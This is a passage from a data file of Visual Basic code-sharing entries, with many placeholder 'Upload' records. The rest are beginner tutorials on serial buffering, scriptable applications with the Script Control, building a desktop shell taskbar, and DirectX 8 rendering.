Function\n"},{"WorldId":1,"id":32583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25086,"LineNumber":1,"line":"'SHELL EXECUTE FUNCTION\nDeclare Function ShellExecuteEx& _\nLib \"Shell32.dll\" Alias \"ShellExecuteExA\" _\n (ByRef lpExecInfo As SHELLEXECUTEINFO)\n'Flag Needed\nConst SEE_MASK_INVOKEIDLIST& = &HC\n'SHELL EXECUTE STRUCT\nType SHELLEXECUTEINFO\n cbSize As Long\n fMask As Long\n hWnd As Long\n lpVerb As String\n lpFile As String\n lpParameters As String\n lpDirectory As String\n nShow As Long\n hInstApp As Long\n lpIDList As Long\n lpClass As String\n hkeyClass As Long\n dwHotKey As Long\n hIcon As Long\n hProcess As Long\nEnd Type\n'-------------------------------------------------'Procedure: ShowFileProperties(ByVal FileName$)\n'Purpose: You can invoke the a files Property\n'dialog box for a file with the \n'ShellExecuteEx API.\n' In the SHELLEXECUTEINFO structure, set\n'the SEE_MASK_INVOKEIDLIST flag and\n'the \"properties\" verb as follows\n'Input: ByVal FileName As String\n'Output: File Properties Dialog Box\n'-----------------------------------------------\nPublic Sub ShowFileProperties(ByVal FileNamePath)\nDim sei As SHELLEXECUTEINFO\n sei.cbSize = Len(sei) \n sei.lpFile = FileNamePath \n sei.lpVerb = \"properties\" \n sei.fMask = SEE_MASK_INVOKEIDLIST \n ShellExecuteEx sei \nEnd Sub\n'-------------------------------------------------\n"},{"WorldId":1,"id":23400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23265,"LineNumber":1,"line":"In serial communications (such as with a modem), most beginning programmers will suffer data loss, or other anomalies whenever data is sent at high rates. This behavior increases in severity the larger the bps rate of the communication. This is almost alwasys due to FIFO buffer overflows.\n\nThis article assumes: You already know how to connect to and get data from a serial port (such as with the MSComm Control). In common practice, the programmer uses a timer control to read any information in the MSComm contol and parses it, or perform other actions on the data. What many beginning serial communications programmers may not realize is that serial ports only have a 16-byte hardware buffer to hold incoming data. If you do a lot of work in your timer routine, this 16 byte buffer will tend to fill up, causing data loss or other communications anomalies.\n\nThe attached source code is fairly self explanatory, and simulates how to use a 2 buffer\nsystem to prevent overflows and other problems dealing with async modem communications. A 16-byte hardware FIFO present in serial communications is simulated by Text1. If it ever gets above 16 characters, the Text1_Change event notifies us. \n\nTo simulate serial communications, simply type in Text1 as fast as you can. This simulates your serial FIFO buffer filling up with data from the serial port (modem, straight rs232 connection, etc).\n\nIf the first option button is selected, we use a 1 buffer and 1-timer system. The empty FOR-NEXT loops in the control represent time eaten up by all of the serial parsing usually necessary in such software. You'll notice that if you type as fast as you can you can quickly fill the 16 byte simulated serial FIFO buffer. This overflow would happen even faster in an actual serial communcations routine where data transmits many times faster than you can type.\n\nIf the second option button is selected, you'll see that all of the routines get shunted to a second timer. The two-buffer method dictates that the first timer's sole task is to empty the simulated input FIFO buffer into a second buffer as fast as possible, and do nothing else. You use a 2nd (slower) timer routine to handle any parsing of the data. This parsing is done on your second buffer, rather than directly on the input from the FIFO buffer.\n\nIn this example, buffIn is a form-scoped variable length string. In VB6, a variable-length string can be up to 2gigs (2 billion bytes) in size or so, giving you worlds more leeway in handling this buffer than the 16 byte serial buffer. With proper use of the 2-buffer system, a 1K input buffer would probably be sufficent in size.\n\nIn practice, you throw a DoEvents in the 2nd timer (the parsing routine) to handle things even more smoothly. This allows the processor intensive parsing routine to give up some time slices to the system so the first timer so it can continue to fill up the input buffer. (If you were to put a DoEvents in the first timeer, it would simply increase the amount of time necessary to complete the routine, causing an even faster buffer overflow.)\n\nNotice that when we are using the 2-buffer system, processing may lag behind input by quite a bit but we never actually lose any information, nor do we overflow the simulated 16-byte FIFO.\n\nPlease note that the attached project is saved in VB6 format, but contains no special controls or VB6-required function calls. All of the code/theory is completely applicable to all versions of VB.\nThe following source code requires two text boxes (Text1 and Text2) on a form, as well as 2 timer controls (Timer1 and Timer2) and two option buttons (Option1 and Option2).\nThe attached project has everything layed out in an easy-to-view format.\n<HR>\nDim buffIn As String \n \nPrivate Sub Option1_Click() \nIf Option1.Value = True Then \n Timer2.Enabled = False \nElse \n Timer2.Enabled = True \nEnd If \nEnd Sub \n \nPrivate Sub Option2_Click() \nIf Option1.Value = True Then \n Timer2.Enabled = False \nElse \n Timer2.Enabled = True \nEnd If \n \nEnd Sub \n \nPrivate Sub Text1_Change() \nIf Len(Text1) > 16 Then MsgBox \"Simulated hardware buffer full!\" \nEnd Sub \n \nPrivate Sub Text2_KeyPress(KeyAscii As Integer) \nKeyAscii = 0 \nEnd Sub \n \nPrivate Sub Timer1_Timer() \nIf Option1.Value = True Then \n For x = 1 To 400 \n For i = 1 To 20000 \n 'just eat up time \n Next i \n Next x \n 'the above loop simulates time eaten up because \n 'of buffer handling code (parsing, etc) \n 'do everything in this buffer \n Text2 = Text2 & Text1.Text \n Text1 = \"\" \nElse \n buffIn = buffIn & Text1.Text \n Text1 = \"\" \nEnd If \n \nEnd Sub \n \nPrivate Sub Timer2_Timer() \n'all parsing and code timeouts happen here. \nFor x = 1 To 400 \n For i = 1 To 20000 \n 'just eat up time \n Next i \n DoEvents \nNext x \n'the above loop simulates time eaten up because \n'of buffer handling code (parsing, etc) \nText2 = Text2 & buffIn \nbuffIn = \"\" \nEnd Sub \n "},{"WorldId":1,"id":23310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27633,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26854,"LineNumber":1,"line":"Page Creator 2 is no longer here. I am developing a completely new Page Creator 3. see it at\n\nhttp://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=30120&lngWId=1"},{"WorldId":1,"id":26014,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26343,"LineNumber":1,"line":"Font \nSelector III\n This is the newest version of Font Selector. All the thing you need is the Font.ctl. Copy it, and Drag it into your project browser, and enjoy it. This is the newest, fastest, smartest and coolest version!!! \nFont Selector is a combo box which let you choose \na font in your computer, \nWith immediately preview. Just like that in the \nOffice 2000!\n　\nThe code is extremely simple. I've used a \nImageCombo, a ImageList and a Picture for the core features.\nPlease give feedback ! \n\n"},{"WorldId":1,"id":24444,"LineNumber":1,"line":"<<<General_Declaration>>> \nDim ism as boolean \n \nPublic Type POINTAPI \n x As Long \n y As Long \nEnd Type \n \nPrivate Declare Function SetCursorPos Lib \"user32\" (ByVal x As Long, ByVal y As Long) As Long \n \nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long \n<hr> \n \n \nPrivate Sub lbltitle_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single) \nism = True \nx1 = x + lblTitle.Left \ny1 = y + lblTitle.Top \nEnd Sub \n<hr> \n \nPrivate Sub lbltitle_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single) \nIf ism = True Then \ni = GetCursorPos(Pos) \nx2 = Pos.x * Screen.TwipsPerPixelX \ny2 = Pos.y * Screen.TwipsPerPixelY \nMe.Move (x2 - x1), (y2 - y1) \nEnd If \nEnd Sub \n<hr> \n \nPrivate Sub lbltitle_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single) \nIf Me.Top < 0 Then Me.Top = 0 \nIf Me.Left < 0 Then Me.Left = 0 \nIf Me.Top > (Screen.Height - (Me.Height / 10)) Then Me.Top = Screen.Height * 9 / 10 \nIf Me.Left > (Screen.Width - (Me.Width / 10)) Then Me.Left = Screen.Width * 9 / 10 \nism = False \nEnd Sub \n \n</body> \n \n</html>"},{"WorldId":1,"id":31378,"LineNumber":1,"line":"A quick course of making scriptable program, \nLike the VBA (Very Cool!)\nScriptable make \neverything possible possible\nHave you ever use the VBA in Microsoft Office? Making your application \nscriptable can enable it's functions to be extent to infinite, by the End Users. \nEnd Users can "WRITE PROGRAM ON YOUR PROGRAM", and run it as they \nlike. It sounds interesting?\n┬ü@\nThis is a quick course teaching you how to make you application scriptable, \nusing Microsoft Scripting Control.\n<hr>\nUnderstanding Microsoft \nScripting Control\nThis is a free gift come together with Visual Basic. It support VBScript and \nJScript. But for convinence, I will use VBScript for demonstration. \nIt is very easy to use. Let's say we have a script control SC\nPrivate Sub Command1_Click() \n \n Dim strProgram \n As String \n \n<blockquote> \n \tstrProgram = \"Sub Main\" & vbCrLf & _ \n\t\"MsgBox \"\"Hello World""" & vbCrLf & _ \n\t\"End Sub\" \n \n\tsc.language = \"VBScript\" \n \n\tsc.addcode strProgram \n\tsc.run \"Main\" \n</blockquote> \n \nEnd Sub \nA message box will appear when you press Command1. The code is in VBScript \nformat(*) and can be enter by any method you like, said TextBox. This enable \nend-users entering their own VBScript code they like, and run them. It just like \nanother Visual Basic!\n(* The main difference is that the only varible type is viarant. e.g. Dim \na,b,c but NOT Dim a as string)\nSo, what can you do to make your application scriptable, extentable?\n<hr>\nProgram Overview\nNow, right click on the controls list and add a reference to "Microsoft \nScript Control 1.0". Create one on a form.\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\n <tr>\n <td width=\"50%\" align=\"center\">Name</td>\n <td width=\"50%\" align=\"center\">Type</td>\n </tr>\n <tr>\n <td width=\"50%\">SC</td>\n <td width=\"50%\">Microsoft Script Control</td>\n </tr>\n <tr>\n <td width=\"50%\">Form1</td>\n <td width=\"50%\">Form</td>\n </tr>\n <tr>\n <td width=\"50%\">Text1</td>\n <td width=\"50%\">TextBox1</td>\n </tr>\n <tr>\n <td width=\"50%\">txtCode</td>\n <td width=\"50%\">TextBox</td>\n </tr>\n <tr>\n <td width=\"50%\">txtCommand</td>\n <td width=\"50%\">TextBox</td>\n </tr>\n <tr>\n <td width=\"50%\">lstProcedures</td>\n <td width=\"50%\">ListBox</td>\n </tr>\n <tr>\n <td width=\"50%\">CmdRun</td>\n <td width=\"50%\">Command Button</td>\n </tr>\n</table>\n┬ü@\nThe Text1 is used as an object that is the "Scriptable" part. In \nthis program, end users can enter Visual Bascis SCRIPT code in txtCode. They may \nrun the code by entering command lines in txtCommand, and press CmdRun.\n<hr>\nThe main part\nThere is a AddObject function in the script control. You can add any object, \ncontrols, like textbox, forms, buttons and picture box into the script control, \nand give them a "scripting name", i.e. the name used to identify the \nobject in the end-users code.\nPrivate Form_Load\nsc.AddObject "MyText", Text1\nEnd Sub\nAfter add the Text1 into the script control, you can access the Text1 in the \nEnd-users code that is entered in the txtCode.\ne.g.\nIn the txtCode, enter the following code:\nSub Main\n Msgbox MyText.Text\nEnd Sub\nAlso add the following code to the program(Not the textbox)\nPrivate Sub CmdRun_Click\n sc.run "Main"\nEnd Sub\nPrivate Sub sc_Error()\n MsgBox \"Error running code: \" & SC.Error.Description & vbCrLf & \"Line:\" & \nSC.Error.Line\nEnd Sub\nWhen you click the CmdRun, the code in the txtCode Sub Main section will be \nrun. Now you can see the how easy to control the program by end-uses code. The \n"Msgbox ..." can be replace by any logical VBScript code. E.g. if you \nentered MyText.visible=False, the textbox will disappear.\nSimilarly, you can AddObject of any controls and object you like into script \ncontrol and control it totally by end-users code. This is the basis of making \nscriptable application.\nFuthermore, the script control provide the procedures object so that you can \nget all information of the procedures of your code.\nPrivate Sub txtCode_Change\n On Error Resume Next\n lstProcedures.Clear\n Dim i as \ninteger\n For i=1 to \nsc.Procedures.Count\n lstProcedures.Additem \nsc.Procedures(i)\n Next i\nEnd Sub\nSub ExecuteCommand(Str As \nstring)\n On Error Goto 1\n sc.ExecuteStatement Str\nExit Sub\n1\nMsgbox Error\nEnd Sub\nFor the ExecuteCommand, your can enter a correct statement to execute like:\nMsgbox MyText.Text\nMain\nMyProcedures Arg1,Arg2\nMsgbox MyFunction(Arg1, Arg2, Arg3)\n<hr>\nDemonstration Program\nAnd by now, you may be able to create your scriptable program, or make a \nscripting console for your application. \nHere is my demonstration program, my Page Creator 3. I don't like to write \njust a simple program. \nOn the Left hand Outlook bar, click on the PCScript Console to open the \nconsole panel. Open a template by clicking open. After entering your own code \nyou like, return the main program or the HTML Code Editor. Find the tab \n"PCScript" on the floating toolbox. There is a command window. Just \ntype the command in the textbox and click return key to execute it. Have Fun!\nKenny Lai\nDownload Demonstration:\n<a href=\"http://student.mst.edu.hk/~s9710050/Page%20Creator%203.zip\">http://student.mst.edu.hk/~s9710050/Page \nCreator 3.zip</a>\n┬ü@"},{"WorldId":1,"id":27491,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24337,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32681,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30836,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23348,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31545,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29041,"LineNumber":1,"line":"<h1>Writing A Shell</h1>\n(Part1) By Nick Ridley\nDate: 20/11/2001\nContents:\n1- Introduction \n2- Getting started \n3- Taskbar buttons \n4- Next Issue\n<h3>1 - Introduction</h3>\nI have stated to write these tutorials to try and get some more people into writing\nshells in VB. I know that I am┬á not the best shell writer but I do know how to get\nstarted in making one and these tutorials are meant to give newbies that boost of info\nthey need so they will start.\nNick Ridley\n┬á\n<h3>2- Getting started</h3>\nBefore you even start to make your shell decide on some things first:\n1- Will it be free or commercial? \n2- Will it be open source? \n3- What colour scheme will you use? \n4- What versions of window will it be compatible with\nDecide on all of these things and then write them down on a bit of paper. Below start a\nbrainstorm of the word SHELL and come up with as much info. Now finalise what you want in\nlight of this info and decide on a name. Write down all this on a bit of paper and stick\nit to your monitor or something. Get some paper and a pen and keep this handy at all times\nto write down ideas. You may also need a calculator to do any sums and stuff.\nNow you have most the info you will need, now we can start.\nYou must now:\nCreate your project \nDo your splash screen \nDesign the place were the task buttons will be\n┬á\n<h3>3- The task buttons</h3>\nNow we will move on to task listing:\nI have re written some parts of a .bas file I got of PSC (I think this is made up of\nSoftshell and RepShell) and you must now add this to your project:\nNOTE: I did not fully write this, this is a rewritten version of what was in softshell\nand repshell, although I have re-written some of it\n[BEGIN TaskListing.bas]\n'I hope this bit encourages you newbies to \n'start new shells (use this to make a taskbar) \n \nPublic Declare Function EnumWindows Lib \"user32\" (ByVal lpEnumFunc As Long,\nByVal lParam As Long) As Long \nPublic Declare Function GetForegroundWindow Lib \"user32\" () As Long \nPublic Declare Function GetParent Lib \"user32\" (ByVal hwnd As Long) As Long \nPublic Declare Function GetWindow Lib \"user32\" (ByVal hwnd As Long, ByVal wCmd\nAs Long) As Long \nPublic Declare Function GetWindowLong Lib \"user32\" Alias\n\"GetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long) As Long \nPublic Declare Function GetWindowText Lib \"user32\" Alias\n\"GetWindowTextA\" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As\nLong) As Long \n \nPublic Declare Function PostMessage Lib \"user32\" Alias \"PostMessageA\"\n(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long \nPublic Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\"\n(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long \n \nPublic Const LB_ADDSTRING = &H180 \nPublic Const LB_FINDSTRINGEXACT = &H1A2 \nPublic Const LB_ERR = (-1) \n \nPublic Const GW_OWNER = 4 \nPublic Const GWL_EXSTYLE = (-20) \n \nPublic Const WS_EX_APPWINDOW = &H40000 \nPublic Const WS_EX_TOOLWINDOW = &H80 \n \nPublic Declare Function IsZoomed Lib \"user32\" (ByVal hwnd As Long) As Boolean \nPublic Declare Function IsIconic Lib \"user32\" (ByVal hwnd As Long) As Long \nPublic Declare Function IsWindowVisible Lib \"user32\" (ByVal hwnd As Long) As\nLong \n \nPublic Declare Function DrawIconEx Lib \"user32\" (ByVal hdc As Long, ByVal xLeft\nAs Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal cxWidth As Long, ByVal cyWidth As\nLong, ByVal istepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As\nLong) As Long \nPublic Const DI_NORMAL = &H3 \n \nPublic Declare Function GetClassLong Lib \"user32\" Alias\n\"GetClassLongA\" (ByVal hwnd As Long, ByVal nIndex As Integer) As Long \n \nPublic Const WM_GETICON = &H7F \nPublic Const GCL_HICON = (-14) \nPublic Const GCL_HICONSM = (-34) \nPublic Const WM_QUERYDRAGICON = &H37 \n \nPublic Declare Function SendMessageTimeout Lib \"user32\" Alias\n\"SendMessageTimeoutA\" (ByVal hwnd As Long, ByVal msg As Long, ByVal wParam As\nLong, ByVal lParam As Long, ByVal fuFlags As Long, ByVal uTimeout As Long, lpdwResult As\nLong) As Long \n \n'This is used to get icons from windows >>>> \nPublic Declare Function DrawIcon Lib \"user32\" (ByVal hdc As Long, ByVal x As\nLong, ByVal y As Long, ByVal hIcon As Long) As Long \n \nPublic Function fEnumWindows(lst As ListBox) As Long \nWith lst \n.Clear \nfrmTasks.lstNames.Clear ' replace this as neccessary \nCall EnumWindows(AddressOf fEnumWindowsCallBack, .hwnd) \nfEnumWindows = .ListCount \nEnd With \nEnd Function \n \nPrivate Function fEnumWindowsCallBack(ByVal hwnd As Long, ByVal lParam As Long) As Long \n \nDim lExStyle As Long, bHasNoOwner As Boolean, sAdd As String, sCaption As String \n \nIf IsWindowVisible(hwnd) Then \nbHasNoOwner = (GetWindow(hwnd, GW_OWNER) = 0) \nlExStyle = GetWindowLong(hwnd, GWL_EXSTYLE) \n \nIf (((lExStyle And WS_EX_TOOLWINDOW) = 0) And bHasNoOwner) Or _ \n((lExStyle And WS_EX_APPWINDOW) And Not bHasNoOwner) Then \nsAdd = hwnd: sCaption = GetCaption(hwnd) \nCall SendMessage(lParam, LB_ADDSTRING, 0, ByVal sAdd) \nCall SendMessage(frmTasks.lstNames.hwnd, LB_ADDSTRING, 0, ByVal sCaption)<font\ncolor=\"#008040\"> ' replace this as neccessary \nEnd If \nEnd If \n \nfEnumWindowsCallBack = True \nEnd Function \n \nPublic Function GetCaption(hwnd As Long) As String \nDim mCaption As String, lReturn As Long \nmCaption = Space(255) \nlReturn = GetWindowText(hwnd, mCaption, 255) \nGetCaption = Left(mCaption, lReturn) \nEnd Function \n\n[END TaskListing.bas]\nIf you are not going to download the sample project you will need to write your own\nfunction to use this. In my project i have included a function to do this.\nBasically the functions do this:\nfEnumWindows\nlst = the list box were the window hWnd's will be held\nYou will also need to change a few lines (these are marked) to suit your project, You\ndo not need to directly call the rest of the functions.\nYou may also find this useful to set FG windows and make your taskbar stay on top:\n[BEGIN modWindows.bas]\nPublic Declare Function SetWindowPos Lib \"user32\" (ByVal hwnd As Long,\nByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal\ncy As Long, ByVal wFlags As Long) As Long \n \nPublic Const HWND_BOTTOM = 1 \nPublic Const HWND_NOTOPMOST = -2 \nPublic Const HWND_TOP = 0 \nPublic Const HWND_TOPMOST = -1 \n \nPublic Const SWP_NOACTIVATE = &H10 \nPublic Const SWP_SHOWWINDOW = &H40 \n \n \nDeclare Function ShowWindow Lib \"user32\" (ByVal hwnd As Long, ByVal nCmdShow As\nLong) As Long \nPublic Const SW_HIDE = 0 \nPublic Const SW_NORMAL = 1 \nPublic Const SW_SHOWMINIMIZED = 2 \nPublic Const SW_SHOWMAXIMIZED = 3 \nPublic Const SW_SHOWNOACTIVATE = 4 \nPublic Const SW_SHOW = 5 \nPublic Const SW_MINIMIZE = 6 \nPublic Const SW_SHOWMINNOACTIVE = 7 \nPublic Const SW_SHOWNA = 8 \nPublic Const SW_RESTORE = 9 \nPublic Const SW_SHOWDEFAULT = 10 \n \nPublic Declare Function BringWindowToTop Lib \"user32\" (ByVal hwnd As Long) As\nBoolean \n \nPublic Declare Function IsIconic Lib \"user32\" (ByVal hwnd As Long) As Long \n \nPublic Function WindowPos(frm As Object, setting As Integer) \n'Change positions of windows, make top most etc... \n \n \nDim i As Integer \nSelect Case setting \nCase 1 \ni = HWND_TOPMOST \nCase 2 \ni = HWND_TOP \nCase 3 \ni = HWND_NOTOPMOST \nCase 4 \ni = HWND_BOTTOM \nEnd Select \n \nSetWindowPos frm.hwnd, i, frm.Left / 15, _ \nfrm.Top / 15, frm.Width / 15, _ \nfrm.Height / 15, SWP_SHOWWINDOW Or SWP_NOACTIVATE \n \nEnd Function \n \nPublic Sub SetFGWindow(ByVal hwnd As Long, Show As Boolean) \nIf Show Then \nIf IsIconic(hwnd) Then \nShowWindow hwnd, SW_RESTORE \nElse \nBringWindowToTop hwnd \nEnd If \nElse \nShowWindow hwnd, SW_MINIMIZE \nEnd If \nEnd Sub\n[END modWindows.bas]\nNow you can either use this info to build your own project or use mine.\n<h1>I HIGHLY RECOMEND YOU DOWNLOAD MY SAMPLE</h1>\n<h3>This DOES NOT cover everything</h3>\n<h3>4- Next Issue:</h3>\nIn the next issue I plan to describe how to make a start menu (hopefully in more detail\nthan this) describing how to get icons from files and how to make menus appear and\ndisappear. And in further issues i will describe how to make a system tray for example.\n┬á\nI hope you find this useful and PLEASE VOTE and LEAVE COMMENTS.\nWhat annoys me is when people read your code and use it but dont vote so please show your\nappreciation and even if you vote poor every vote counts.\n<h3>Thanx for reading</h3>\n<h4>Nick Ridley</h4>\n<a href=\"http://www.spyderhackers.co.uk\">http://www.spyderhackers.co.uk</a>\n<a href=\"http://www.spyderhackers.com\">http://www.spyderhackers.com</a>\n<a href=\"mailto:nick@spyderhackers.com\">nick@spyderhackers.com</a>\n"},{"WorldId":1,"id":28988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32464,"LineNumber":1,"line":"Beginers\nTutorial For DirectX 8.x\nWILL Teach You:\nHow to initialise <font\ncolor=\"#FF0000\" face=\"Tahoma\" size=\"2\">DirectX, DirectD3D<font\nface=\"Tahoma\" size=\"2\" color=\"#000000\"> and a Direct3DDevice \nHow to use and initialise a <font\nface=\"Tahoma\" size=\"2\" color=\"#FF0000\">Vertex Buffer \nHow to Render<font\nface=\"Tahoma\" size=\"2\" color=\"#000000\"> a 3D Pyramid \nHow to use Matrix<font\nface=\"Tahoma\" size=\"2\" color=\"#000000\">'s to rotate your 3D objects \nHow to use Z-Buffering<font\nface=\"Tahoma\" size=\"2\" color=\"#000000\"> (Draw-Orders/Draw-Buffering)\nBy Nick Ridley\n\n┼í<a\nhref=\"mailto:time_to_die_@excite.com\">Mail Me!</a> \n\"<a href=\"http://www.spyder.tk\">Web Site</a>\n<img src=\"http://www.geocities.com/nike+guy/spydernetlogo.gif\"\nwidth=\"200\" height=\"200\" alt=\"spydernetlogo.gif (6511 bytes)\">\nI just started to leard DirectX and ive been founding it\nvery hard so I thought I'd put what I know into this tutorial so that hopefully some\nothers would start to earn it too\nJust copy and paste the code into a new VB form that has:\n1- A picturebox\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Name:\nPicture1 \n2- A Timer┬á ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nName: Timer1┬á┬á┬á Interval: 40\nThen goto Project >\nReferences and check DirectX 8 For Visual\nBasic Type Library. If you do not have this goto <a\nhref=\"http://www.microsoft.com\">Microsoft</a> to get it.\n<h1><-- BEGIN CODE --></h1>\n'--------------------' \n'My DirectX8 Tutorial' \n'--------------------' \n'I decided to make this tutorial after downloading the DirectX SDK \n'and realising how hard DirectX is to learn \n'This tutorial demonstates how to make a 3D cube, use a Z-Buffer and some other things \n \nOption Explicit \n \n'DirectX Objects \nDim g_DX As New DirectX8 'The main DirectX thingy \nDim g_D3D As Direct3D8 'Used to create the D3DDevice \nDim g_D3DDevice As Direct3DDevice8 'Our rendering device \nDim g_VB(3) As Direct3DVertexBuffer8 'Vertex Buffer, stores our shapes \n \n' A structure for our custom vertex type \n' representing a point on the screen \nPrivate Type CUSTOMVERTEX \nx As Single 'x in screen space \ny As Single 'y in screen space \nz As Single 'normalized z \ncolor As Long 'vertex color \nEnd Type \n \n' Our custom FVF, which describes our custom vertex structure \nConst D3DFVF_CUSTOMVERTEX = (D3DFVF_XYZ Or D3DFVF_DIFFUSE) \n \n'Pi \nConst g_pi = 3.1415 \n \n \nPrivate Sub Form_Load() \nDim b As Boolean \n \n' Allow the form to become visible \nMe.Show \nDoEvents \n \n' Initialize D3D and D3DDevice \n'Uses picture1 as the 'canvas' for DX \nb = InitD3D(Picture1.hWnd) \n \nIf Not b Then \n'If we cant get D3D then tell user and exit \nMsgBox \"Unable to CreateDevice!\", vbCritical, \"Error:\" \nEnd \nEnd If \n \n \n' Initialize Vertex Buffer with Geometry \nb = InitGeometry() \nIf Not b Then \n'If the vertex buffer stuff failed then tell user and exit \nMsgBox \"Unable to Create VertexBuffer!\", vbCritical, \"Error:\" \nEnd \nEnd If \n \n \n' Enable Timer to render the scene \nTimer1.Enabled = True \n \nEnd Sub \n \nPrivate Sub Timer1_Timer() \n'call the rendering function \nRender \nEnd Sub \n \nPrivate Sub Form_Unload(Cancel As Integer) \n'Well duh! makes sure directX doesnt keep the app going with no forms \nEnd \nEnd Sub \n \nFunction InitD3D(hWnd As Long) As Boolean \n'Means that if an error occours in VB we carry on, if it happens in \n'DX then the object will stay as nothing so we make sure that the error \n'was in DX when we say we couldnt initialise D3D \nOn Local Error Resume Next \n \n' Create the D3D object \nSet g_D3D = g_DX.Direct3DCreate() \nIf g_D3D Is Nothing Then Exit Function \n \n' Get the current display mode \nDim mode As D3DDISPLAYMODE \ng_D3D.GetAdapterDisplayMode D3DADAPTER_DEFAULT, mode \n \n' Fill in the type structure used to create the device \nDim d3dpp As D3DPRESENT_PARAMETERS \nd3dpp.Windowed = 1 \nd3dpp.SwapEffect = D3DSWAPEFFECT_COPY_VSYNC \nd3dpp.BackBufferFormat = mode.Format \n'Z-Buffering (were we make sure that we cant see sides of the object \n'we shouldnt be able to \nd3dpp.EnableAutoDepthStencil = 1 \nd3dpp.AutoDepthStencilFormat = D3DFMT_D16 \n \n' Create the D3DDevice (use hardware) \nSet g_D3DDevice = g_D3D.CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, hWnd, _ \nD3DCREATE_SOFTWARE_VERTEXPROCESSING, d3dpp) \nIf g_D3DDevice Is Nothing Then Exit Function \n \n'Set stuff to do with our device \nWith g_D3DDevice \n \nCall .SetRenderState(D3DRS_CULLMODE, D3DCULL_CW) 'Cull back faces with clockwise vertices \nCall .SetRenderState(D3DRS_CLIPPING, 1) 'Turn Clipping On \nCall .SetRenderState(D3DRS_LIGHTING, 0) 'Turn Lighting Off \nCall .SetRenderState(D3DRS_ZENABLE, 1) 'Use Z-Buffer \n \nEnd With \n \n'Tell the Form_Load bit that D3D was initialised successfully \nInitD3D = True \n \nEnd Function \n \n \nSub SetupMatrices() \n \n \n'This position, orientates etc all the objects that we are drawing \n'In other words its like moving the camera \nDim matWorld As D3DMATRIX \n'Rotate around the Y-Axis \nD3DXMatrixRotationY matWorld, Timer * 4 \ng_D3DDevice.SetTransform D3DTS_WORLD, matWorld \n \n'Here we set were the camera is, were its pointing and which \n'is treated as up (Y-Axis in this case) \nDim matView As D3DMATRIX \nD3DXMatrixLookAtLH matView, vec3(0#, 3#, -5#), _ \nvec3(0#, 0#, 0#), _ \nvec3(0#, 1#, 0#) \n \ng_D3DDevice.SetTransform D3DTS_VIEW, matView \n \n'This bit sets the perspective that means objects will apear smaller \n'the further away they are and the near/far clipping planes (how far/close) \n'objects can be to the camera for rendering \nDim matProj As D3DMATRIX \nD3DXMatrixPerspectiveFovLH matProj, g_pi / 4, 1, 1, 1000 \ng_D3DDevice.SetTransform D3DTS_PROJECTION, matProj \n \nEnd Sub \n \nFunction InitGeometry() As Boolean \n \n'Three vertices (3d singularitys that will make up our triangle sides \nDim Vertices(2) As CUSTOMVERTEX \nDim VertexSizeInBytes As Long \n \nVertexSizeInBytes = Len(Vertices(0)) \n \n'Set the side \nWith Vertices(0): .x = -1: .y = -1: .z = 0: .color = &HFFFF0000: End With \nWith Vertices(1): .x = 1: .y = -1: .z = 0: .color = &HFFFF0000: End With \nWith Vertices(2): .x = 0: .y = 1: .z = 0: .color = &HFF00FFFF: End With \n \n' Create the vertex buffer. \nSet g_VB(0) = g_D3DDevice.CreateVertexBuffer(VertexSizeInBytes * 3, _ \n0, D3DFVF_CUSTOMVERTEX, D3DPOOL_DEFAULT) \nIf g_VB(0) Is Nothing Then Exit Function \n \n' fill the vertex buffer from our array \nD3DVertexBuffer8SetData g_VB(0), 0, VertexSizeInBytes * 3, 0, Vertices(0) \n \n'Below is not commented because it is the same as ^above^ \n'just for the other sides \n'----------------------------------------------------------------------------- \n \nWith Vertices(0): .x = -1: .y = -1: .z = 0: .color = &HFFFF0000: End With \nWith Vertices(1): .x = 1: .y = -1: .z = 0: .color = &HFFFF0000: End With \nWith Vertices(2): .x = 0: .y = -1: .z = 1: .color = &HFFFFFFFF: End With \n \nSet 